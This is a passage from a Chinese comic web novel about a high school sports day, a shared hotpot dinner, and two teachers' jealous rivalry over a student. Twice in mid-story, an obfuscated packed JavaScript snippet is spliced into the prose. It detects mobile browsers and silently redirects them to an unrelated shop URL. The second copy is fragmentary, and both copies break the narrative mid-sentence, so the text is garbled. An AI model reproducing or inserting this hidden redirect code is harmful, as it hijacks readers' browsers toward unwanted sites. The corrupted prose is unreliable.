梦萱上场前，鲁平和张聪明同时冲上去。 “梦萱同学！”鲁平拿出小本本，“我计算了最佳起跳角度，38度最合适！” “让开啊～”张聪明挤开他，“我做了数学模型啊～要考虑风速湿度啊～” “你那模型是数学！这是物理！” “数学是万物基础啊～” 两人又吵起来。 梦萱被吵烦了，大吼：“都闭嘴！” 两人安静。 “你，”她指鲁平，“说角度。” “你，”她指张聪明，“说风速。” 两人同时开口，说的内容截然不同。 梦萱听了十秒，说：“听不懂。” 她转身，对着场边喊：“大雄！过来！” 大雄跑过来。 “你教我的方法，再说一遍。” 大雄挠头：“就……跑快点，跳高点，落地稳点。” “懂了。”梦萱点头，对两位老师说，“看到没？这才叫指导。” 鲁平&张聪明：“……” 梦萱开始比赛。 第一次试跳：她跑太快，起跳太早，落在沙坑边缘，成绩无效。 第二次：她起跳时犹豫，跳了个很保守的距离，4米2。 第三次：她深吸一口气，按照大雄说的，跑、跳—— 在空中，她突然喊了一句：“为了火锅！” 然后像个炮弹一样砸进沙坑。 成绩：4米8，暂列第二。 她跳出沙坑，拍拍身上的沙，对两位老师说：“看到没？有用的是‘为了火锅’，不是你们那些角度模型。” 鲁平认真记录：“心理暗示的作用大于技术指导。” 张聪明：“啊～火锅的激励效果量化一下啊～” 梦萱不理他们，走到大雄面前：“还行，比上次远。” 大雄憨笑：“你跳得很好。” “废话。” 颁奖时，梦萱拿到银牌。 她把银牌也挂脖子上，和铜牌并排，像奇怪的项链。 她对大雄说：“现在我有两枚了，你还差一枚。” “我下午有铁饼。” “拿不到别来见我。” “好。” 对话简洁得像□□接头。 --- 中午休息，五班大本营。 洐沁召开紧急战略会议。 “目前积分，三班领先，我们班第二，差8分。”洐沁在白板上画图表，“下午的关键项目：男子五千米，女子4x100接力，还有……拔河。” “拔河我们班有优势！”王鑫说，“体重基数大。” “但三班有大雄。”洐沁说，“他一个人能顶两个。” “那怎么办？” “心理战。”洐沁推眼镜，“我已经制定计划。” 她把计划说了一遍。 全班沉默。 最后王鑫说：“洐沁，你真的是高中生吗？不是哪个特种部队退役的？” “我是研究者。”洐沁淡定地说，“现在，执行计划。” 我：其实你纯有病。 --- 下午，男子五千米。 五班派出的是周浩，瘦高个，耐力好。 三班派出的是……大雄。 他报满了三项：铅球、铁饼、五千米。 “他体力能行吗？”我问。 “憨憨的耐力往往超乎想象。”洐沁说，“但我们的计划不是赢他，是干扰他。” 发令枪响。 五千米是漫长的折磨。 跑到第三圈时，洐沁的计划启动了。 五班同学在跑道内侧，举起了标语牌。 第一块：「大雄，梦萱说你要是输了就换跟班！」 第二块：「她已经在物色新人了！」 第三块：「看，她在和鲁老师说话！」 大雄看到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064647|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他脚步乱了。 第四块：「张老师也在献殷勤！」 第五块：「你要被取代了！」 大雄加速了。 像头被激怒的公牛，他开始疯狂超车。 周浩本来领先，被大雄一口气超了半圈。 “计划奏效了。”洐沁记录，「憨憨的嫉妒心被成功激发，运动表现提升37%。」 但副作用很快出现。 大雄跑太快，第七圈时开始喘不上气，速度慢下来。 周浩稳住节奏，慢慢追上。 最后两圈，大雄脸色发白，明显体力透支。 但他还在坚持，边跑边念叨：“不能输……不能换……” 最后冲刺，周浩第一，大雄第二。 冲过终点线，大雄直接跪在地上，剧烈咳嗽。 梦萱冲过去，不是扶他，是骂：“你煞笔吧！跑那么快干嘛！不要命了！” 大雄抬头，满脸汗，憨笑：“没输……没换人吧？” 梦萱愣住。 然后她用力拍他脑袋：“神经病！谁说要换人了！” 但语气软了。 她递过去一瓶水：“喝。” 大雄接过，咕咚咕咚喝完。 远处，鲁平和张聪明看着。 鲁平：“她递水了。” 张聪明：“啊～我们送奶茶她都没亲手接啊～” 两人再次叹气。 --- 最后一项：拔河。 五班vs三班，决赛。 大雄作为三班主力，站在队伍最前面。 五班这边，王鑫领头，后面是全班体重最大的几个男生。 “预备——开始！” 绳子瞬间绷紧。 五班一开始占优势，把三班拉过来一大截。 但大雄突然发力，一个人往后拽，绳子又慢慢移回去。 僵持。 这时，洐沁的计划第二阶段启动。 五班女生团突然集体喊口号： “大雄大雄！鼻子有虫！” “痘痘七颗！能拼北斗！” “梦萱嫌弃！赶紧祛痘！” 大雄愣了一下。 就这一下，五班发力，绳子猛地被拉过来一寸。 三班同学急了大喊：“大雄！别听他们的！” 但晚了。 五班女生继续： “梦萱喜欢小白脸！” “你太黑！没机会！” “赶紧放弃！别硬撑！” 大雄眼神动摇。 绳子又过来一寸。 这时，梦萱突然冲到最前面，对着大雄喊： “张大雄！你他妈给我用力拉！” 大雄看向她。 “赢了这场！我给你买篮球！” 大雄眼睛亮了。 他深吸一口气，仰天大吼，肌肉绷紧，青筋暴起。 然后，他把绳子拽回去了。 不止拽回去，是把五班整个队伍拖过了界。 裁判吹哨：“三班胜！” 五班同学倒在地上，累瘫了。 大雄也瘫了，但他在笑。 梦萱走过来，踢他一脚：“行啊，没白吃。” 大雄憨笑：“篮球……” “买！”梦萱说，“但你要帮我拿跳远金牌——明年。” “好。” --- 运动会结束，总分统计。 三班第一，五班第二，差3分。 火锅，没了。 五班同学垂头丧气。 张聪明走过来：“啊～同学们别灰心啊～虽然没拿到第一啊～但表现很棒啊～” 鲁平也来了：“第二名也很优秀。” 这时，梦萱走过来，脖子上挂着三块奖牌（她又混了块接力银牌），像个暴发户。 她看着五班同学，突然说：“你们班，挺有意思的。” 全体愣住。 “尤其是那个鱼类cosplay。”梦萱笑了，“虽然傻逼，但够疯。我喜欢。” 她转身要走，又回头：“对了，火锅，我请。” 全班：“？？？” “三班第一的奖金，我让他们同意拿出来，请五班吃火锅。”梦萱说，“就当……赔你们被大雄砸塌的椅子。” 她走了。 五班同学愣在原地。 然后爆发出欢呼。 “火锅！” “梦萱请客！” “颠婆万岁！” 鲁平和张聪明对视一眼。 鲁平：“她请客……” 张聪明：“啊～那我们……” “我们出钱。”鲁平说，“不能让她全出。” “对。” 两位老师难得达成一致。 --- 晚上，火锅店。 五班和三班混坐——梦萱要求的，说“热闹”。 大桌子，四个锅，红汤/清汤/番茄/菌汤。 梦萱坐主位，左边大雄，右边……鲁平和张聪明抢位置，最后一人坐一边。 洐沁坐我旁边，全程记录： 「跨班级聚餐，敌意消解，社交边界模糊化。」 「颠婆通过物质馈赠建立新权力结构。」 「两位老师试图通过买单重新确立地位。」 「大雄的憨憨属性成为人际关系润滑剂。」 火锅沸腾，热气腾腾。 梦萱站起来，举杯（可乐）：“今天，两个班，都他妈给力！干杯！” “干杯！” 杯子碰撞。 鲁平小声对张聪明说：“她其实……挺有领导力。” 张聪明：“啊～就是方式独特啊～” 大雄给梦萱夹了片肉：“你爱吃的肥牛。” 梦萱：“谁说我爱吃？” “上次食堂看你打了三次。” “观察挺仔细啊。” “嗯。” 鲁平和张聪明同时夹肉给梦萱。 三双筷子在空中碰撞。 梦萱：“我自己有手！” 三人缩回去。 洐沁在笔记本上写：「三角关系进入稳态，但工具鱼的威胁性上升。」 我看着她：“你能好好吃顿饭吗？” “不能。”洐沁说，“这是珍贵的田野观察时间。” 我：随便吧，不吃我吃，我嚼嚼嚼嚼嚼…… 她夹了片藕，边吃边记。 窗外，夜色渐深。 火锅店灯火通明，笑声不断。 在这个抽象的高中，在这顿意外的火锅宴上，敌意暂时消融，荒诞暂时退场。 剩下的，只是一群高中生，两位奇葩老师，和一个颠婆，在热气腾腾中，短暂地，像正常人一样，吃一顿饭。 虽然下一秒，梦萱就把可乐泼到了大雄身上，因为他把她要吃的虾滑夹走了。 但，至少这一刻，是温暖的。 14. 第 14 章 运动会后的高二五班，进入了一种诡异的“战后和平期”。 主要表现为： 1. 鲁平和张聪明不再公开斗殴，改为暗中较劲——比如比谁的保温杯泡的枸杞更多。 2. 梦萱对大雄的“训练”从操场扩展到全天候，理由是“培养跟班的综合素质”。 3. 洐沁的观察笔记新增了“三角关系热力图”，用三种颜色标注两位老师和大雄的“威胁等级”。 4. 我，班长程穗，负责给这场大型真人秀做场记。 周二下午，自习课。 洐沁突然戳我胳膊，压低声音：“注意看，鲁老师和张老师在实施‘协同作战计划’。” 我抬头。 教室后排，鲁平和张聪明正头对头，凑在一张纸前窃窃私语——那张纸是张聪明用“啊体”写的作战计划书，标题是《关于联合侦查梦萱同学与张大雄同学非正常接触的初步方案》。 “他们什么时候联盟的？”我问。 “昨晚。”洐沁说，“据线报，两位老师在办公室进行了一场长达两小时的‘战略磋商’，最终达成‘搁置争议、共同对外’的共识。” “外是谁？” “大雄。”洐沁推了推眼镜，“憨憨体育生，年轻，有□□，威胁指数爆表。” 纸上，作战计划分为三步： 第一步：情报收集（鲁平负责） ·跟踪梦萱的日常动线 ·记录她与大雄的接触频率、时长、肢体距离 ·分析对话内容（需配录音笔） 第二步：数据分析（张聪明负责） ·将收集到的数据建模 ·计算“亲密值增长曲线” ·预测关系升级时间点 第三步：干预行动（联合执行） ·制造“意外”打断接触 ·以“教师关怀”名义插入对话 ·必要时启动“师德震慑”（即在旁边背教师职业道德规范） 我看完，沉默了，这真的很超前了宝子。 “他们认真的？” “非常认真。”洐沁说，“鲁平甚至借了体育老师的运动服做伪装，虽然他那秃顶在连衣帽下反光更明显了。” 正说着，鲁平起身，背上一个鼓鼓囊囊的背包——里面估计是侦查装备。 张聪明紧随其后，手里拿着个笔记本，封面上写着《啊氏侦查日志》。 两人一前一后走出教室，动作僵硬，像两个刚学会走路的机器人。 “要跟吗？”我问。 “当然。”洐沁收起笔记本，“这种‘中年男性联合追踪青少年’的行为艺术，百年难遇。” --- 下午五点，放学铃声刚响，梦萱就拎着书包冲出教室。 大雄在一班门口等她——他今天穿了件紧身运动T恤，肌肉线条明显，虽然脸还是那张“北斗七星痘图”。 “今天去哪练？”大雄问。 “天台。”梦萱说，“清净。” “天台有蚊子。” “你皮厚，不怕叮。” “哦。” 两人一前一后上楼。 身后二十米，鲁平和张聪明开始了他们的“专业追踪”。 鲁平戴着鸭舌帽、墨镜、口罩——但墨镜是儿童款，太小，卡在脸上像熊猫眼。口罩上印着卡通小猫，和他严肃的表情形成诡异反差。 张聪明的伪装更离谱：他把外套反穿，领子竖起来遮住半张脸，头上戴了顶渔夫帽，但因为头太大，帽子卡在发胶上，像顶了个碗。 洐沁边跟边记录：「伪装水平：幼儿园文艺汇演级别。隐蔽性：负数。喜剧效果：满分。」 我跟在洐沁后面，觉得自己像个傻币。 但更傻币的还在后面。 --- 天台门虚掩着。 鲁平趴在门缝上偷看，张聪明蹲在他下面，从门底缝偷看——但因为肚子太大，蹲不下去，只能撅着屁股，姿势像只准备起跳的虫合/虫莫。 “看到什么了？”张聪明小声问。 “他们在……靠近。”鲁平声音发颤。 “多近啊～” “非常近……脸对脸……” 门内，天台中央。 梦萱把大雄按在墙上——是真的按，一只手撑在他头侧，像壁咚，但气势像抢劫。 “别动。”梦萱命令。 “我不动。”大雄老实站着，“但要干嘛？” “你脸上有颗痘，熟了。” “啊？” “我帮你挤了，忍一下。” 大雄：“……好。” 门外，鲁平和张聪明同时倒吸一口凉气。 “挤、挤痘？”张聪明声音发抖。 “姿势太暧昧了！”鲁平咬牙切齿，“挤痘需要贴那么近吗？需要按在墙上吗？这明显是借口！” 门内，梦萱凑近大雄的脸，手指按在他鼻翼侧的一颗大红痘上。 “可能有点疼。”她说。 “没事。”大雄闭眼，“你挤吧。” 梦萱用力一挤—— “噗！” 一声轻微的爆裂声。 门外，鲁平膝盖一软，差点跪下。 张聪明捂住胸口：“啊～他们……他们……” “他们在接吻！”鲁平绝望地说，“我听到了声音！‘啵’的一声！” “那是挤痘的声音吧……”张聪明还存有一丝理智。 “挤痘哪有‘啵’的声音！那是接吻的声音！” 门内，梦萱挤出一粒白色内容物，满意地说：“好了，这颗解决了。但旁边还有三颗，要不要一起？” 大雄：“都、都行。” “那你再忍忍。” 梦萱换了个位置，这次是下巴上的一颗痘。 她又凑近，脸几乎贴在大雄脸上。 从门缝的角度看，两人的侧影重叠，确实像在接吻。 鲁平崩溃了。 他猛地推开门，冲了进去。 “住手！”他大喊，破锣嗓子在天台回荡，“不对……住嘴！也不对……你们在干什么！” 梦萱和大雄同时转头。 梦萱手里还捏着刚挤出来的痘内容物，一脸莫名其妙：“挤痘啊，看不见？” 鲁平愣住，看向大雄的脸——下巴上确实有颗刚被挤红的痘，旁边还有梦萱的手指印。 “挤、挤痘？”鲁平结巴了。 “不然呢？”梦萱翻白眼，“你以为我们在干嘛？交换唾液研究口腔菌群？” 张聪明也冲了进来，看到现场，松了口气：“啊～果然是挤痘啊～” 但他很快意识到不对——梦萱和大雄的姿势，确实太近了。 近到能感受到对方的呼吸。 近到……不像普通的挤痘。 “挤痘需要贴这么近吗？”张聪明问。 “我近视。”梦萱理直气壮，“离远了看不清。” “你可以戴眼镜啊～” “眼镜坏了。” “那可以让大雄自己挤啊～” “他手笨，挤不干净。” 对话陷入僵局。 这时，大雄憨憨地补了一句：“梦萱挤得挺舒服的，不疼。” 鲁平&张聪明：“！！！” “舒、舒服？”鲁平声音拔高。 “嗯。”大雄点头，“她手法专业。” 梦萱得意：“那当然，我挤过的痘比你吃过的饭还多。” 鲁平脸色发白，摇摇欲坠。 张聪明扶住他：“鲁老师，冷静啊～” “我冷静不了！”鲁平甩开他，指着梦萱，“你一个女生，怎么能……怎么能给男生挤痘！这成何体统！” “痘还分男女？”梦萱嗤笑，“痘就是痘，长在脸上就是碍眼，碍眼就要挤。这是宇宙真理。” “那也不能贴那么近！” “不近怎么挤？你挤过痘吗？” 鲁平噎住了。 他还真没挤过——他是秃顶，但脸上不长痘。 张聪明举手：“我挤过啊～” 梦萱看向他：“那你来挤？你挤得干净吗？” 张聪明犹豫了。 他确实挤过痘，但每次都挤出血，留下疤。 “看吧，技术不行就别bb。”梦萱转身，继续对大雄说，“还有两颗，挤不挤？” “挤。”大雄闭眼，“你继续。” 梦萱又凑过去。 这次，鲁平和张聪明没有阻止。 他们站在原地，看着梦萱和大雄的脸几乎贴在一起，看着梦萱的手指在大雄脸上按压，看着大雄因为疼痛微微皱眉但忍着的表情。 那种……亲密感。 那种……信任感。 那种……“我们之间有你插不进去的氛围”感。 鲁平突然觉得，自己的秃顶更亮了——是心凉透了的反光。 张聪明也觉得，自己的发胶都不油了——是心干涸了的错觉。 他们输了。 输给一个憨憨体育生。 输给几颗痘痘。 鲁平＆张聪明：我们哭的好大声Q_Q --- 就在这时，天台的通风管道里，传来“咔嚓”一声。 是洐沁。 她不知什么时候爬进了通风管道——为了最佳观察角度——刚才的“咔嚓”是她拍照的声音。 “谁？！”梦萱抬头。 “是我。”洐沁从管道口探出头，推了推不存在的眼镜，“继续，不用管我，我只是个无情的记录者。” “你他妈在干嘛？” “记录人类挤痘行为的社交意义。”洐沁面不改色，“从生物学角度看，挤痘是一种跨个体寄生虫清理行为，常见于亲密关系之间。你们正在为我的研究提供宝贵数据。” 梦萱：“……你下来，我保证不打死你。” “不下。”洐沁说，“这里有最佳视角。顺便，鲁老师，张老师，你们刚才的反应也很有研究价值——中年男性目睹年轻男女亲密接触时的应激表现，属于‘领地意识受威胁’的典型反应。” 鲁平和张聪明脸红了。 “还有大雄同学，”洐沁继续说，“你对疼痛的耐受度以及将疼痛转化为‘舒服’的认知重构能力，值得深入分析。你是否具有受虐倾向？” 大雄：“啥？” “算了，回头再研究。”洐沁缩回管道，“你们继续挤，我继续拍。对了，梦萱，下一颗是左脸颊那颗，建议用棉签按压边缘，避免感染。” 梦萱：“……” 她最终没继续挤，因为气氛全被破坏了。 她松开大雄，拍拍手：“行了，今天到此为止。大雄，明天继续。” 大雄摸摸脸：“哦，好。” 鲁平忍不住问：“明天还挤？” “不然呢？”梦萱说，“他脸上还有十几颗，得分期处理。” “十几颗？！”张聪明震惊。 “对啊。”梦萱掰手指，“鼻子上七颗北斗七星，下巴三颗，脸颊五颗，额头……算了额头是我的地盘，不长痘。” 她看向两位老师，突然笑了：“怎么，你们也想被挤？排队，等我处理完大雄的。” 鲁平和张聪明同时后退一步。 “不、不用了。”鲁平说。 “啊～我们脸上没痘啊～”张聪明说。 “没痘可以挤黑头啊。”梦萱逼近，“张老师，你鼻子黑头挺多的，我看到了。” 张聪明捂住鼻子：“啊～这是男人的象征啊～”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064648|195112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “象征个屁，就是脏。”梦萱转身，“走了，大雄，送我回家。” “好。”大雄乖乖跟上。 两人下楼。 留下两位老师，和通风管道里的洐沁，以及门口偷看的我。 我：救命我好像才是最见不得光的。 --- 回教室的路上，鲁平和张聪明一言不发。 走到二楼时，鲁平突然说：“我们输了。” 张聪明：“啊～输给痘痘了啊～” “不是痘痘。”鲁平摇头，“是年轻。” “啊～” “他们有身体接触的理由。”鲁平苦笑，“挤痘，多正当的理由。我们有什么理由？送奶茶？讲数学题？太苍白了。” “那怎么办啊～” “不知道。” 他们走到办公室门口，没进去，就站在走廊里，看着窗外。 夕阳西下，把他们的影子拉得很长，很长。 两个中年男人，一个秃顶反光，一个油腻发亮，背影萧瑟得像两棵被雷劈过的老树。 通风管道里，洐沁爬出来，拍拍身上的灰，对我说：“数据收集完毕。今晚我要写一篇重磅论文。” “什么题目？” “《论痘痘在青少年亲密关系建立中的催化剂作用——以高二年级某三角关系为例》。” “……能发表吗？” “发在我们班群里。”洐沁推推不存在的眼镜，“至少能得个‘年度最抽象研究奖’。” --- 晚上，洐沁真的在五班群发了论文摘要。 包括： 1. 挤痘行为的亲密度量化表（按接触时长、肢体距离、疼痛反馈等指标打分） 2. 两位老师的应激反应分类（否认、愤怒、 bargaining、抑郁、接受——他们卡在第二阶段） 3. 大雄的“痛感重构机制”分析 4. 建议两位老师开发“挤痘替代服务”，如“掏耳朵”“刮胡子”等，以建立合法肢体接触渠道 群里笑疯了。 鲁平和张聪明也在群里，但没说话。 他们可能在看，也可能在哭。 谁知道呢。 --- 第二天，事情出现了神展开。 早自习，鲁平走进教室，脸上……贴了一张痘痘贴？ 透明的，贴在鼻翼侧，里面还有脓液——假的，是道具。 全班寂静。 鲁平面不改色：“今天讲《矛盾的特殊性》。就像痘痘，每颗痘痘都有它的特殊性，要具体问题具体分析……” 他讲课的时候，时不时摸一下痘痘贴，表情痛苦。 下课铃响，他走到梦萱座位旁（她来五班找洐沁借东西），指着痘痘贴说：“梦萱同学，我这个……能挤吗？” 梦萱看了一眼：“假的。” “你怎么知道？” “真的痘痘贴会发黄，你这个透亮得像保鲜膜。”梦萱翻白眼，“而且你脸上从来不长痘，秃顶的人油脂分泌少。” 鲁平：“……” 他默默撕掉痘痘贴，走了。 背影比昨天更萧瑟。 五分钟后，张聪明登场。 他没贴痘痘贴，但他……在鼻子上画了颗痘。 用红色圆珠笔画的，很小，但位置精准，就在鼻尖。 他走到梦萱面前：“啊～梦萱同学啊～老师长痘了怎么办啊～” 梦萱盯着那颗“痘”看了三秒，说：“张老师，圆珠笔油有毒，建议擦掉。” 张聪明：“啊～这是真的啊～” “真的痘不会反光。”梦萱说，“而且你画的位置不对，鼻尖的痘是酒糟鼻，不是青春痘。” 张聪明也败退了。 两位老师，在同一天，用同一种方式，试图引起梦萱的注意。 然后，在同一天，被同一种方式，羞辱了。 他们回到办公室，对视。 鲁平：“她怎么什么都知道？” 张聪明：“啊～她是不是专业学过啊～” “可能吧。” “那我们怎么办啊～” “不知道。” 他们坐在办公桌前，一个摸着自己的秃顶，一个摸着自己的油头，陷入了中年危机。 --- 而此刻的天台。 梦萱和大雄又在“训练”。 不过今天不是挤痘，是……贴痘痘贴。 梦萱买了一盒痘痘贴，正在教大雄怎么贴。 “先消毒，然后贴上，等它吸满脓液变白，再撕掉。”梦萱示范，“这样不容易留疤。” 大雄认真学：“哦。” “你自己试试。” “好。” 大雄笨拙地往自己脸上贴，贴歪了。 梦萱骂：“笨死了！你是智障吗？我来！” 她凑过去，帮他贴正。 阳光洒在他们身上，画面竟然有点……温馨？ (我也是真的没救了……) 如果忽略内容物是痘痘的话。 通风管道里，洐沁再次就位。 她调整好相机焦距，小声对我说：“看，这就是青春。” “痘痘的青春？” “不。”洐沁按下快门，“是有人愿意为你贴痘痘贴的青春。” 她顿了顿，补充：“虽然那个人只是为了让你当跟班。” 我笑了。 在这个抽象的高中，连温情都这么……奇葩。 但，也挺好。 至少，痘痘有人挤了。 至少，青春有人记录了。 至于两位老师…… 他们大概正在办公室，研究怎么长痘吧。 祝他们成功。 15. 第 15 章 天台挤痘事件后，高二五班的师生关系，进入了全新的“量子纠缠态”。 主要表现为： 1. 鲁平的秃顶反光率提升了37%——据洐沁用光度计测量，是因为“心碎增加了表面抛光效果”。 2. 张聪明的“啊～”频次骤降，取而代之的是深沉的叹息，每次叹气都带着奶茶的甜腻尾韵。 3. 两人开始成对出现，像连体婴，又像破产版的“没头脑和不高兴”。 周三早晨，教室。 同学们目睹了震撼的一幕： 鲁平和张聪明一起走进教室。 不是一前一后，是并排。步伐同步，像国庆阅兵——如果忽略鲁平左脚绊右脚、张聪明肚子撞门框的话。 他们手里各拿一杯豆浆，插着两根吸管。 “鲁老师，张老师，”有同学大胆发问，“你们……喝一杯豆浆？” “资源共享。”鲁平面无表情，“环保。” “啊～这叫成本优化～”张聪明补充，“一根吸管塑料污染，两根吸管双倍污染。我们这是为地球做贡献～” 两人同时低头，吸豆浆。 吸管交叉，像在喝交杯豆浆。 全班寂静。 洐沁迅速记录：「行为同步率92%，初步判断进入‘创伤后依恋共生期’。」 豆浆喝到一半，张聪明突然说：“啊～你的吸管戳到我牙了～” “抱歉。”鲁平调整吸管角度，“现在呢？” “好点了～” 他们继续喝。 王鑫小声问我：“班长，这正常吗？” 我：“在这个班，正常才不正常。”耶，像我，我已经不大正常了。 --- 第一节课，数学。 张聪明讲课讲到一半，突然卡壳：“这个公式啊～……嗯……” 他转头看向后排听课的鲁平：“鲁老师，这个导数怎么证来着？” 鲁平站起来，走到讲台，接过粉笔：“用洛必达法则，上下同时求导。” 他在黑板上演算，字迹工整。 张聪明在旁边看，眼神……温柔？ “啊～对～就是这样～”张聪明点头，“同学们看到了吗～这就是学科融合～” 底下同学面面相觑。 五分钟后，张聪明又卡壳：“这个积分啊～……” 鲁平再次上台：“换元积分，令t=sinx。” 他写完，把粉笔还给张聪明，手指碰到手指。 两人同时缩手，像触电。 粉笔掉地上，断了。 全班：“…………” 洐沁记录：「物理接触敏感度升高，疑似进入‘暧昧前期’。」 下课铃响，两位老师一起走出教室，肩膀挨着肩膀。 走廊里，梦萱正好路过。 她看到两人，愣了一下，然后咧嘴笑了：“哟，二位这是……在一起了？” 鲁平&张聪明：“！！！” “没有！”鲁平脸红了——从秃顶边缘开始红，像日出。 “啊～胡说什么啊～”张聪明摸头发，“我们是同事互助～” “互助到喝一杯豆浆？”梦萱挑眉，“行吧，祝你们幸福。记得请我吃喜糖。” 她吹着口哨走了。 留下两位老师，僵在原地，像两尊被雷劈过的雕塑。 --- 中午，教师食堂。 鲁平和张聪明坐在一起吃饭——以前他们从来不同桌。 餐盘里，菜色互补： 鲁平打的全是素：青菜、豆腐、番茄蛋汤。 张聪明打的全是荤：红烧肉、炸鸡排、肉丸子。 然后，他们开始交换。 鲁平夹走一块红烧肉，张聪明夹走一筷子青菜。 鲁平舀一勺肉丸子，张聪明舀一勺番茄蛋汤。 全程无言，默契得像结婚三十年的老夫妻。哦，夫夫。 隔壁桌的语文老师周敏看得目瞪口呆，偷偷拍照发教师群：「见证历史，秃油组合进入共生模式。」 体育老师回复：「他们是不是在搞那个……饭搭子恋爱？」 化学老师：「需要化验饭菜是否下蛊吗？」 校长：「…………每人罚100。】 校长已退出群聊。 老师们：NO！！！！！ 吃完饭，两人一起去洗碗。 张聪明挤洗洁精，鲁平开水龙头。 张聪明刷盘子，鲁平冲水。 张聪明递盘子，鲁平擦干。 流水线作业，效率极高。 洗到最后一个盘子时，张聪明手滑，盘子掉进水池，溅了鲁平一身水。 “啊～对不起啊～”张聪明赶紧拿纸巾。 “没事。”鲁平站着不动，让张聪明擦。 张聪明擦得很仔细，从胸口擦到肚子，肚子擦到……停住了。 因为鲁平今天穿了件白衬衫，湿了之后有点透。 透出了里面的……老头背心。 还是洗到发黄的那种。 两人对视，沉默。 然后鲁平说：“这件背心我穿了十年。” 张聪明：“啊～质量真好啊～” “嗯。” 他们继续洗碗。 洗完，一起离开食堂，背影在阳光下重叠。 远处，梦萱和大雄正在小卖部买冰棍。 梦萱看着他们的背影，突然说：“大雄，你觉得他们配吗？” 大雄咬了口冰棍：“谁？” “秃顶和油头。” “哦。”大雄想了想，“一个没头发，一个头发多，挺配的。” 梦萱笑了：“有道理。一个旱死，一个涝死，中和一下正好。” 她掏出手机，在校园墙发了条匿名帖： 「嗑到了！秃油CP今日糖点合集：1.交杯豆浆 2.讲台摸手 3.食堂喂饭（？）4.湿身play。姐妹们，入股不亏！」 五分钟后，帖子火了。 底下回复： 「真的假的？！」 「有照片吗？」 「早就觉得他俩不对劲！」 「师生恋弱爆了，师师恋才是YYDS！」 鲁平和张聪明还不知道自己成了校园顶流CP。 他们正在办公室……研究生发液。 --- 下午，教师办公室。 鲁平从抽屉里掏出一瓶生发液，表情凝重：“这是我托人从日本带的，据说含有生姜、何首乌、黑芝麻精华。” 张聪明凑过来看：“啊～这个牌子我见过啊～电视购物天天播啊～” “电视购物都是骗人的。”鲁平拧开盖子，“但这个有临床数据。” “什么数据？” “每天使用，三个月后毛发密度提升15%。” “才15%啊～” 鲁平沉默，看着瓶子里褐色的液体，眼神哀伤。 张聪明拍拍他肩膀：“啊～没事～秃顶是智慧的象征～你看那些教授～有几个头发多的～” “你呢？”鲁平看向张聪明的油头，“你用哪种洗发水？” “我啊～”张聪明得意，“我用的是去油控油三合一，还带薄荷清凉感～” “给我试试。” “啊？” “我想试试清凉感。” 张聪明从包里掏出一个小瓶，递给鲁平。 鲁平挤了一点在手心，抹在头上——抹在仅存的那圈头发上。 “怎么样？”张聪明问。 “凉。”鲁平说，“像头顶开了空调。” “爽吧～” “爽。” 他们相视一笑。 笑着笑着，突然意识到气氛不对。 太亲密了。 太……gay了。 两人同时后退半步，咳嗽，看向别处。 这时，门被推开。 梦萱拿着作业本进来——她是来交数学作业的，虽然作业是抄的。 看到两位老师红着脸站在一起，桌上摆着生发液和去油洗发水，她笑了： “二位这是……在交流护发心得？” 鲁平：“……嗯。” 张聪明：“啊～对啊～” “挺好。”梦萱放下作业本，“不过建议你们交换用。鲁老师用去油的，治治你那反光；张老师用生发的，免得哪天也秃了。” 她转身要走，又回头：“对了，校园墙那个帖子，你们看了吗？” “什么帖子？” “没什么。”梦萱眨眨眼，“就是一些……美好的祝福。” 她走了。 两位老师赶紧掏手机。 看完帖子，鲁平脸色从红转白再转青。 张聪明则摸着下巴：“啊～写得还挺详细啊～” “你不生气？”鲁平问。 “生气什么啊～”张聪明说，“这说明学生们关心我们啊～” “这是造谣！” “啊～但造得挺有创意啊～” 鲁平盯着他：“你……不介意？” 张聪明沉默了。 半晌，他说：“啊～总比没人关注强啊～” 这句话，戳中了两人共同的痛处。 是啊。 总比被无视强。 总比在梦萱眼里，连颗痘都不如强。 他们收起手机，没再说话。 但也没否认。 --- 放学后，洐沁召开了“五班CP研究小组第一次全体会议”。 参会人员：全班同学。 会议主题：如何科学地嗑秃油CP。 洐沁在白板上画关系图： 「鲁平（攻？受？）←→张聪明（受？攻？）」 「情感基础：共同失恋创伤」 「互动模式：共生依赖」 「未来发展预测：1.友情升华 2.柏拉图式恋爱 3.真·在一起（概率15%）」 王鑫举手：“怎么判断攻受？” “根据行为模式。”洐沁推眼镜，“鲁平是主动照顾型，张聪明是被动接受型。但张聪明有隐性控制欲。目前看，是互攻互受。” “简称互惠互利？” “可以这么理解。” 又有同学问：“我们要助攻吗？” “不。”洐沁摇头，“我们是观察者，不干预自然进程。但可以记录。” “怎么记录？” “成立记录小组。”洐沁分配任务，“A组：摄影组，负责抓拍互动瞬间。B组：文字组，负责写CP小作文。C组：数据分析组，负责统计他们每天对视次数、肢体接触时长、共用物品数量。” 全班热情高涨。 毕竟，比起学习，嗑老师CP有意思多了。 我也被分到任务：负责从班长角度提供“官方数据”，比如他们一起开会的次数、一起批作业的时间等。 我：“这算滥用职权吗？” 洐沁：“这叫物尽其用。” 我：6 --- 周五，两位老师的“暧昧”升级了。 事情发生在下午的教师例会。 校长在讲话，关于“师德师风建设”。 鲁平和张聪明坐在一起——以前他们坐对角线，今天挨着。 会议开到一半，张聪明打瞌睡。 头一点一点，像小鸡啄米。 点着点着，点到了鲁平肩膀上。 鲁平僵住了。 全场老师都看到了。 